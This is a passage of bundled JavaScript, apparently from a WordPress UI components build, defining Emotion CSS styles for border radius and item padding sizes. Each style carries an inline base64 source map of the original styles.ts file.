iBub25lO1xuXHRcdHRleHQtYWxpZ246IHN0YXJ0O1xuXHRcdHRleHQtZGVjb3JhdGlvbjogJHsgYXMgPT09ICdhJyA/ICdub25lJyA6IHVuZGVmaW5lZCB9O1xuXG5cdFx0c3ZnLFxuXHRcdHBhdGgge1xuXHRcdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHRcdH1cblxuXHRcdCY6aG92ZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHR9XG5cblx0XHQmOmZvY3VzIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvdXRsaW5lOiBub25lO1xuXHRcdH1cblxuXHRcdCY6Zm9jdXMtdmlzaWJsZSB7XG5cdFx0XHRib3gtc2hhZG93OiAwIDAgMCB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzIClcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0Ly8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0XHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRvdXRsaW5lLW9mZnNldDogMDtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgaXRlbVdyYXBwZXIgPSBjc3NgXG5cdHdpZHRoOiAxMDAlO1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBpdGVtID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHR3aWR0aDogMTAwJTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbjogMDtcblx0Y29sb3I6IGluaGVyaXQ7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyZWQgPSBjc3NgXG5cdGJvcmRlcjogMXB4IHNvbGlkICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBzZXBhcmF0ZWQgPSBjc3NgXG5cdD4gKjpub3QoIG1hcnF1ZWUgKSA+ICoge1xuXHRcdGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAkeyBDT05GSUcuc3VyZmFjZUJvcmRlckNvbG9yIH07XG5cdH1cblxuXHQ+ICo6bGFzdC1vZi10eXBlID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdH1cbmA7XG5cbmNvbnN0IGJvcmRlclJhZGl1cyA9IENPTkZJRy5yYWRpdXNTbWFsbDtcblxuZXhwb3J0IGNvbnN0IHNwYWNlZEFyb3VuZCA9IGNzc2Bcblx0Ym9yZGVyLXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5gO1xuXG5leHBvcnQgY29uc3Qgcm91bmRlZCA9IGNzc2Bcblx0Ym9yZGVyLXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cblx0PiAqOmZpcnN0LW9mLXR5cGUgPiAqIHtcblx0XHRib3JkZXItdG9wLWxlZnQtcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdH1cblxuXHQ+ICo6bGFzdC1vZi10eXBlID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6ICR7IGJvcmRlclJhZGl1cyB9O1xuXHR9XG5gO1xuXG5jb25zdCBiYXNlRm9udEhlaWdodCA9IGBjYWxjKCR7IENPTkZJRy5mb250U2l6ZSB9ICogJHsgQ09ORklHLmZvbnRMaW5lSGVpZ2h0QmFzZSB9KWA7XG5cbi8qXG4gKiBNYXRoOlxuICogLSBVc2UgdGhlIGRlc2lyZWQgaGVpZ2h0IGFzIHRoZSBiYXNlIHZhbHVlXG4gKiAtIFN1YnRyYWN0IHRoZSBjb21wdXRlZCBoZWlnaHQgb2YgKGRlZmF1bHQpIHRleHRcbiAqIC0gU3VidHJhY3QgdGhlIGVmZmVjdHMgb2YgYm9yZGVyXG4gKiAtIERpdmlkZSB0aGUgY2FsY3VsYXRlZCBudW1iZXIgYnkgMiwgaW4gb3JkZXIgdG8gZ2V0IGFuIGluZGl2aWR1YWwgdG9wL2JvdHRvbSBwYWRkaW5nXG4gKi9cbmNvbnN0IHBhZGRpbmdZID0gYGNhbGMoKCR7IENPTkZJRy5jb250cm9sSGVpZ2h0IH0gLSAkeyBiYXNlRm9udEhlaWdodCB9IC0gMnB4KSAvIDIpYDtcbmNvbnN0IHBhZGRpbmdZU21hbGwgPSBgY2FsYygoJHsgQ09ORklHLmNvbnRyb2xIZWlnaHRTbWFsbCB9IC0gJHsgYmFzZUZvbnRIZWlnaHQgfSAtIDJweCkgLyAyKWA7XG5jb25zdCBwYWRkaW5nWUxhcmdlID0gYGNhbGMoKCR7IENPTkZJRy5jb250cm9sSGVpZ2h0TGFyZ2UgfSAtICR7IGJhc2VGb250SGVpZ2h0IH0gLSAycHgpIC8gMilgO1xuXG5leHBvcnQgY29uc3QgaXRlbVNpemVzID0ge1xuXHRzbWFsbDogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZU21hbGwgfSAkeyBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwgfXB4O1xuXHRgLFxuXHRtZWRpdW06IGNzc2Bcblx0XHRwYWRkaW5nOiAkeyBwYWRkaW5nWSB9ICR7IENPTkZJRy5jb250cm9sUGFkZGluZ1ggfXB4O1xuXHRgLFxuXHRsYXJnZTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZTGFyZ2UgfSAkeyBDT05GSUcuY29udHJvbFBhZGRpbmdYTGFyZ2UgfXB4O1xuXHRgLFxufTtcbiJdfQ== */");
36091 var borderRadius2 = config_values_default.radiusSmall;
36092 var spacedAround = /* @__PURE__ */ css("border-radius:", borderRadius2, ";" + (false ? "" : ";label:spacedAround;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwRStCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMsIGZvbnQgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCB1bnN0eWxlZEJ1dHRvbiA9ICggYXM6ICdhJyB8ICdidXR0b24nICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRhcHBlYXJhbmNlOiBub25lO1xuXHRcdGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdGN1cnNvcjogcG9pbnRlcjtcblx0XHRiYWNrZ3JvdW5kOiBub25lO1xuXHRcdHRleHQtYWxpZ246IHN0YXJ0O1xuXHRcdHRleHQtZGVjb3JhdGlvbjogJHsgYXMgPT09ICdhJyA/ICdub25lJyA6IHVuZGVmaW5lZCB9O1xuXG5cdFx0c3ZnLFxuXHRcdHBhdGgge1xuXHRcdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHRcdH1cblxuXHRcdCY6aG92ZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHR9XG5cblx0XHQmOmZvY3VzIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvdXRsaW5lOiBub25lO1xuXHRcdH1cblxuXHRcdCY6Zm9jdXMtdmlzaWJsZSB7XG5cdFx0XHRib3gtc2hhZG93OiAwIDAgMCB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzIClcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0Ly8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0XHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRvdXRsaW5lLW9mZnNldDogMDtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgaXRlbVdyYXBwZXIgPSBjc3NgXG5cdHdpZHRoOiAxMDAlO1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBpdGVtID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHR3aWR0aDogMTAwJTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbjogMDtcblx0Y29sb3I6IGluaGVyaXQ7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyZWQgPSBjc3NgXG5cdGJvcmRlcjogMXB4IHNvbGlkICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBzZXBhcmF0ZWQgPSBjc3NgXG5cdD4gKjpub3QoIG1hcnF1ZWUgKSA+ICoge1xuXHRcdGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAkeyBDT05GSUcuc3VyZmFjZUJvcmRlckNvbG9yIH07XG5cdH1cblxuXHQ+ICo6bGFzdC1vZi10eXBlID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdH1cbmA7XG5cbmNvbnN0IGJvcmRlclJhZGl1cyA9IENPTkZJRy5yYWRpdXNTbWFsbDtcblxuZXhwb3J0IGNvbnN0IHNwYWNlZEFyb3VuZCA9IGNzc2Bcblx0Ym9yZGVyLXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5gO1xuXG5leHBvcnQgY29uc3Qgcm91bmRlZCA9IGNzc2Bcblx0Ym9yZGVyLXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cblx0PiAqOmZpcnN0LW9mLXR5cGUgPiAqIHtcblx0XHRib3JkZXItdG9wLWxlZnQtcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdH1cblxuXHQ+ICo6bGFzdC1vZi10eXBlID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6ICR7IGJvcmRlclJhZGl1cyB9O1xuXHR9XG5gO1xuXG5jb25zdCBiYXNlRm9udEhlaWdodCA9IGBjYWxjKCR7IENPTkZJRy5mb250U2l6ZSB9ICogJHsgQ09ORklHLmZvbnRMaW5lSGVpZ2h0QmFzZSB9KWA7XG5cbi8qXG4gKiBNYXRoOlxuICogLSBVc2UgdGhlIGRlc2lyZWQgaGVpZ2h0IGFzIHRoZSBiYXNlIHZhbHVlXG4gKiAtIFN1YnRyYWN0IHRoZSBjb21wdXRlZCBoZWlnaHQgb2YgKGRlZmF1bHQpIHRleHRcbiAqIC0gU3VidHJhY3QgdGhlIGVmZmVjdHMgb2YgYm9yZGVyXG4gKiAtIERpdmlkZSB0aGUgY2FsY3VsYXRlZCBudW1iZXIgYnkgMiwgaW4gb3JkZXIgdG8gZ2V0IGFuIGluZGl2aWR1YWwgdG9wL2JvdHRvbSBwYWRkaW5nXG4gKi9cbmNvbnN0IHBhZGRpbmdZID0gYGNhbGMoKCR7IENPTkZJRy5jb250cm9sSGVpZ2h0IH0gLSAkeyBiYXNlRm9udEhlaWdodCB9IC0gMnB4KSAvIDIpYDtcbmNvbnN0IHBhZGRpbmdZU21hbGwgPSBgY2FsYygoJHsgQ09ORklHLmNvbnRyb2xIZWlnaHRTbWFsbCB9IC0gJHsgYmFzZUZvbnRIZWlnaHQgfSAtIDJweCkgLyAyKWA7XG5jb25zdCBwYWRkaW5nWUxhcmdlID0gYGNhbGMoKCR7IENPTkZJRy5jb250cm9sSGVpZ2h0TGFyZ2UgfSAtICR7IGJhc2VGb250SGVpZ2h0IH0gLSAycHgpIC8gMilgO1xuXG5leHBvcnQgY29uc3QgaXRlbVNpemVzID0ge1xuXHRzbWFsbDogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZU21hbGwgfSAkeyBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwgfXB4O1xuXHRgLFxuXHRtZWRpdW06IGNzc2Bcblx0XHRwYWRkaW5nOiAkeyBwYWRkaW5nWSB9ICR7IENPTkZJRy5jb250cm9sUGFkZGluZ1ggfXB4O1xuXHRgLFxuXHRsYXJnZTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZTGFyZ2UgfSAkeyBDT05GSUcuY29udHJvbFBhZGRpbmdYTGFyZ2UgfXB4O1xuXHRgLFxufTtcbiJdfQ== */");
36093 var rounded2 = /* @__PURE__ */ css("border-radius:", borderRadius2, ";>*:first-of-type>*{border-top-left-radius:", borderRadius2, ";border-top-right-radius:", borderRadius2, ";}>*:last-of-type>*{border-bottom-left-radius:", borderRadius2, ";border-bottom-right-radius:", borderRadius2, ";}" + (false ? "" : ";label:rounded;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE4RTBCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMsIGZvbnQgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCB1bnN0eWxlZEJ1dHRvbiA9ICggYXM6ICdhJyB8ICdidXR0b24nICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRhcHBlYXJhbmNlOiBub25lO1xuXHRcdGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdGN1cnNvcjogcG9pbnRlcjtcblx0XHRiYWNrZ3JvdW5kOiBub25lO1xuXHRcdHRleHQtYWxpZ246IHN0YXJ0O1xuXHRcdHRleHQtZGVjb3JhdGlvbjogJHsgYXMgPT09ICdhJyA/ICdub25lJyA6IHVuZGVmaW5lZCB9O1xuXG5cdFx0c3ZnLFxuXHRcdHBhdGgge1xuXHRcdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHRcdH1cblxuXHRcdCY6aG92ZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHR9XG5cblx0XHQmOmZvY3VzIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvdXRsaW5lOiBub25lO1xuXHRcdH1cblxuXHRcdCY6Zm9jdXMtdmlzaWJsZSB7XG5cdFx0XHRib3gtc2hhZG93OiAwIDAgMCB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzIClcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0Ly8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0XHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRvdXRsaW5lLW9mZnNldDogMDtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgaXRlbVdyYXBwZXIgPSBjc3NgXG5cdHdpZHRoOiAxMDAlO1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBpdGVtID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHR3aWR0aDogMTAwJTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbjogMDtcblx0Y29sb3I6IGluaGVyaXQ7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyZWQgPSBjc3NgXG5cdGJvcmRlcjogMXB4IHNvbGlkICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBzZXBhcmF0ZWQgPSBjc3NgXG5cdD4gKjpub3QoIG1hcnF1ZWUgKSA+ICoge1xuXHRcdGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAkeyBDT05GSUcuc3VyZmFjZUJvcmRlckNvbG9yIH07XG5cdH1cblxuXHQ+ICo6bGFzdC1vZi10eXBlID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdH1cbmA7XG5cbmNvbnN0IGJvcmRlclJhZGl1cyA9IENPTkZJRy5yYWRpdXNTbWFsbDtcblxuZXhwb3J0IGNvbnN0IHNwYWNlZEFyb3VuZCA9IGNzc2Bcblx0Ym9yZGVyLXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5gO1xuXG5leHBvcnQgY29uc3Qgcm91bmRlZCA9IGNzc2Bcblx0Ym9yZGVyLXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cblx0PiAqOmZpcnN0LW9mLXR5cGUgPiAqIHtcblx0XHRib3JkZXItdG9wLWxlZnQtcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdH1cblxuXHQ+ICo6bGFzdC1vZi10eXBlID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6ICR7IGJvcmRlclJhZGl1cyB9O1xuXHR9XG5gO1xuXG5jb25zdCBiYXNlRm9udEhlaWdodCA9IGBjYWxjKCR7IENPTkZJRy5mb250U2l6ZSB9ICogJHsgQ09ORklHLmZvbnRMaW5lSGVpZ2h0QmFzZSB9KWA7XG5cbi8qXG4gKiBNYXRoOlxuICogLSBVc2UgdGhlIGRlc2lyZWQgaGVpZ2h0IGFzIHRoZSBiYXNlIHZhbHVlXG4gKiAtIFN1YnRyYWN0IHRoZSBjb21wdXRlZCBoZWlnaHQgb2YgKGRlZmF1bHQpIHRleHRcbiAqIC0gU3VidHJhY3QgdGhlIGVmZmVjdHMgb2YgYm9yZGVyXG4gKiAtIERpdmlkZSB0aGUgY2FsY3VsYXRlZCBudW1iZXIgYnkgMiwgaW4gb3JkZXIgdG8gZ2V0IGFuIGluZGl2aWR1YWwgdG9wL2JvdHRvbSBwYWRkaW5nXG4gKi9cbmNvbnN0IHBhZGRpbmdZID0gYGNhbGMoKCR7IENPTkZJRy5jb250cm9sSGVpZ2h0IH0gLSAkeyBiYXNlRm9udEhlaWdodCB9IC0gMnB4KSAvIDIpYDtcbmNvbnN0IHBhZGRpbmdZU21hbGwgPSBgY2FsYygoJHsgQ09ORklHLmNvbnRyb2xIZWlnaHRTbWFsbCB9IC0gJHsgYmFzZUZvbnRIZWlnaHQgfSAtIDJweCkgLyAyKWA7XG5jb25zdCBwYWRkaW5nWUxhcmdlID0gYGNhbGMoKCR7IENPTkZJRy5jb250cm9sSGVpZ2h0TGFyZ2UgfSAtICR7IGJhc2VGb250SGVpZ2h0IH0gLSAycHgpIC8gMilgO1xuXG5leHBvcnQgY29uc3QgaXRlbVNpemVzID0ge1xuXHRzbWFsbDogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZU21hbGwgfSAkeyBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwgfXB4O1xuXHRgLFxuXHRtZWRpdW06IGNzc2Bcblx0XHRwYWRkaW5nOiAkeyBwYWRkaW5nWSB9ICR7IENPTkZJRy5jb250cm9sUGFkZGluZ1ggfXB4O1xuXHRgLFxuXHRsYXJnZTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZTGFyZ2UgfSAkeyBDT05GSUcuY29udHJvbFBhZGRpbmdYTGFyZ2UgfXB4O1xuXHRgLFxufTtcbiJdfQ== */");
36094 var baseFontHeight = `calc(${config_values_default.fontSize} * ${config_values_default.fontLineHeightBase})`;
36095 var paddingY = `calc((${config_values_default.controlHeight} - ${baseFontHeight} - 2px) / 2)`;
36096 var paddingYSmall = `calc((${config_values_default.controlHeightSmall} - ${baseFontHeight} - 2px) / 2)`;
36097 var paddingYLarge = `calc((${config_values_default.controlHeightLarge} - ${baseFontHeight} - 2px) / 2)`;
36098 var itemSizes = {
36099 small: /* @__PURE__ */ css("padding:", paddingYSmall, " ", config_values_default.controlPaddingXSmall, "px;" + (false ? "" : ";label:small;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwR1ciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT05GSUcsIENPTE9SUywgZm9udCB9IGZyb20gJy4uL3V0aWxzJztcblxuZXhwb3J0IGNvbnN0IHVuc3R5bGVkQnV0dG9uID0gKCBhczogJ2EnIHwgJ2J1dHRvbicgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0Zm9udC1zaXplOiAkeyBmb250KCAnZGVmYXVsdC5mb250U2l6ZScgKSB9O1xuXHRcdGZvbnQtZmFtaWx5OiBpbmhlcml0O1xuXHRcdGFwcGVhcmFuY2U6IG5vbmU7XG5cdFx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0Y3Vyc29yOiBwb2ludGVyO1xuXHRcdGJhY2tncm91bmQ6IG5vbmU7XG5cdFx0dGV4dC1hbGlnbjogc3RhcnQ7XG5cdFx0dGV4dC1kZWNvcmF0aW9uOiAkeyBhcyA9PT0gJ2EnID8gJ25vbmUnIDogdW5kZWZpbmVkIH07XG5cblx0XHRzdmcsXG5cdFx0cGF0aCB7XG5cdFx0XHRmaWxsOiBjdXJyZW50Q29sb3I7XG5cdFx0fVxuXG5cdFx0Jjpob3ZlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdH1cblxuXHRcdCY6Zm9jdXMge1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0fVxuXG5cdFx0Jjpmb2N1cy12aXNpYmxlIHtcblx0XHRcdGJveC1zaGFkb3c6IDAgMCAwIHZhciggLS13cC1hZG1pbi1ib3JkZXItd2lkdGgtZm9jdXMgKVxuXHRcdFx0XHQkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHQvLyBXaW5kb3dzIGhpZ2ggY29udHJhc3QgbW9kZS5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAwO1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBpdGVtV3JhcHBlciA9IGNzc2Bcblx0d2lkdGg6IDEwMCU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuYDtcblxuZXhwb3J0IGNvbnN0IGl0ZW0gPSBjc3NgXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdHdpZHRoOiAxMDAlO1xuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luOiAwO1xuXHRjb2xvcjogaW5oZXJpdDtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJlZCA9IGNzc2Bcblx0Ym9yZGVyOiAxcHggc29saWQgJHsgQ09ORklHLnN1cmZhY2VCb3JkZXJDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHNlcGFyYXRlZCA9IGNzc2Bcblx0PiAqOm5vdCggbWFycXVlZSApID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcblx0fVxuXG5cdD4gKjpsYXN0LW9mLXR5cGUgPiAqIHtcblx0XHRib3JkZXItYm90dG9tLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0fVxuYDtcblxuY29uc3QgYm9yZGVyUmFkaXVzID0gQ09ORklHLnJhZGl1c1NtYWxsO1xuXG5leHBvcnQgY29uc3Qgc3BhY2VkQXJvdW5kID0gY3NzYFxuXHRib3JkZXItcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCByb3VuZGVkID0gY3NzYFxuXHRib3JkZXItcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblxuXHQ+ICo6Zmlyc3Qtb2YtdHlwZSA+ICoge1xuXHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6ICR7IGJvcmRlclJhZGl1cyB9O1xuXHRcdGJvcmRlci10b3AtcmlnaHQtcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblx0fVxuXG5cdD4gKjpsYXN0LW9mLXR5cGUgPiAqIHtcblx0XHRib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdH1cbmA7XG5cbmNvbnN0IGJhc2VGb250SGVpZ2h0ID0gYGNhbGMoJHsgQ09ORklHLmZvbnRTaXplIH0gKiAkeyBDT05GSUcuZm9udExpbmVIZWlnaHRCYXNlIH0pYDtcblxuLypcbiAqIE1hdGg6XG4gKiAtIFVzZSB0aGUgZGVzaXJlZCBoZWlnaHQgYXMgdGhlIGJhc2UgdmFsdWVcbiAqIC0gU3VidHJhY3QgdGhlIGNvbXB1dGVkIGhlaWdodCBvZiAoZGVmYXVsdCkgdGV4dFxuICogLSBTdWJ0cmFjdCB0aGUgZWZmZWN0cyBvZiBib3JkZXJcbiAqIC0gRGl2aWRlIHRoZSBjYWxjdWxhdGVkIG51bWJlciBieSAyLCBpbiBvcmRlciB0byBnZXQgYW4gaW5kaXZpZHVhbCB0b3AvYm90dG9tIHBhZGRpbmdcbiAqL1xuY29uc3QgcGFkZGluZ1kgPSBgY2FsYygoJHsgQ09ORklHLmNvbnRyb2xIZWlnaHQgfSAtICR7IGJhc2VGb250SGVpZ2h0IH0gLSAycHgpIC8gMilgO1xuY29uc3QgcGFkZGluZ1lTbWFsbCA9IGBjYWxjKCgkeyBDT05GSUcuY29udHJvbEhlaWdodFNtYWxsIH0gLSAkeyBiYXNlRm9udEhlaWdodCB9IC0gMnB4KSAvIDIpYDtcbmNvbnN0IHBhZGRpbmdZTGFyZ2UgPSBgY2FsYygoJHsgQ09ORklHLmNvbnRyb2xIZWlnaHRMYXJnZSB9IC0gJHsgYmFzZUZvbnRIZWlnaHQgfSAtIDJweCkgLyAyKWA7XG5cbmV4cG9ydCBjb25zdCBpdGVtU2l6ZXMgPSB7XG5cdHNtYWxsOiBjc3NgXG5cdFx0cGFkZGluZzogJHsgcGFkZGluZ1lTbWFsbCB9ICR7IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCB9cHg7XG5cdGAsXG5cdG1lZGl1bTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZIH0gJHsgQ09ORklHLmNvbnRyb2xQYWRkaW5nWCB9cHg7XG5cdGAsXG5cdGxhcmdlOiBjc3NgXG5cdFx0cGFkZGluZzogJHsgcGFkZGluZ1lMYXJnZSB9ICR7IENPTkZJRy5jb250cm9sUGFkZGluZ1hMYXJnZSB9cHg7XG5cdGAsXG59O1xuIl19 */"),
